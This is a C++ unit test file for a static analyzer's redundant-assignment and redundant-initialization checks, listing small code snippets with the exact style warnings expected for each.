void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n 